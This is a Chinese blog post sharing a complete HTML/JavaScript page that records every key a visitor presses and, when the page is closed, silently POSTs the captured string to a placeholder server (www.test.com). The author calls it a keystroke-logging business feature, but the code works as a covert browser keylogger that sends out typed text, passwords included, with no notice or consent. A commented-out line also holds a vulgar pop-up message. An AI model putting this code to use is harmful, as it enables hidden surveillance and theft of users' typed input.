标签:des blog http io ar os sp java for
最近陈老师让我给新架构加一个按键记录的业务。去学习了JavaScript,网上找了一些代码,最后写出来了:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD><TITLE>js 按键记录</TITLE> <META NAME="Generator" CONTENT="EditPlus"> <META NAME="Author" CONTENT="Larry"> <META NAME="Keywords" CONTENT="js 按键记录"> <META NAME="Description" CONTENT="js 按键 记录"> </HEAD> <BODY> <script type="text/javascript"> var keystring = "";//记录按键的字符串 function $(s){return document.getElementById(s)?document.getElementById(s):s;} function keypress(e) { var currKey=0,CapsLock=0,e=e||event; currKey=e.keyCode||e.which||e.charCode; CapsLock=currKey>=65&&currKey<=90; switch(currKey) { //屏蔽了退格、制表、回车、空格、方向键、删除键 case 8: case 9:case 13:case 32:case 37:case 38:case 39:case 40:case 46:keyName = "";break; default:keyName = String.fromCharCode(currKey); break; } keystring += keyName; } function keydown(e) { var e=e||event; var currKey=e.keyCode||e.which||e.charCode; if((currKey>7&&currKey<14)||(currKey>31&&currKey<47)) { switch(currKey) { case 8: keyName = "[退格]"; break; case 9: keyName = "[制表]"; break; case 13:keyName = "[回车]"; break; case 32:keyName = "[空格]"; break; case 33:keyName = "[PageUp]"; break; case 34:keyName = "[PageDown]"; break; case 35:keyName = "[End]"; break; case 36:keyName = "[Home]"; break; case 37:keyName = "[方向键左]"; break; case 38:keyName = "[方向键上]"; break; case 39:keyName = "[方向键右]"; break; case 40:keyName = "[方向键下]"; break; case 46:keyName = "[删除]"; break; default:keyName = ""; break; } keystring += keyName; } $("content").innerHTML=keystring; } function keyup(e) { $("content").innerHTML=keystring; } document.onkeypress=keypress; document.onkeydown =keydown; document.onkeyup =keyup; function loadXMLDoc() { var xmlhttp; if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest(); } else {// code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4 && xmlhttp.status==200) { document.getElementById("myDiv").innerHTML=xmlhttp.responseText; } } xmlhttp.open("POST","http://www.test.com",true); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); <!-- send的参数的规则是,用“=”间隔name和body,“&”间隔条目,下面这行会在name中显示“keystring”,value中显示keystring的值 --> xmlhttp.send("keystring="+keystring); } <!-- 如果下面用下面这行,则在关闭前弹出对话框。 --> <!-- window.onbeforeunload = function() { return "大鸡吧大鸡吧?"+ keystring;} --> window.onbeforeunload = function() { loadXMLDoc();} </script> <br/>请按下任意键查看键盘响应键值:<span id="content"></span> </BODY> </HTML>
这段代码修改自网名为“羽殇仁”的代码。
参考:http://www.w3school.com.cn/ajax/ajax_xmlhttprequest_send.asp
http://www.jb51.net/article/22001.htm
JavaScript实现按键记录,并在关掉网页之前把记录的内容post出去
标签:des blog http io ar os sp java for
原文地址:http://www.cnblogs.com/larrylawrence/p/4135987.html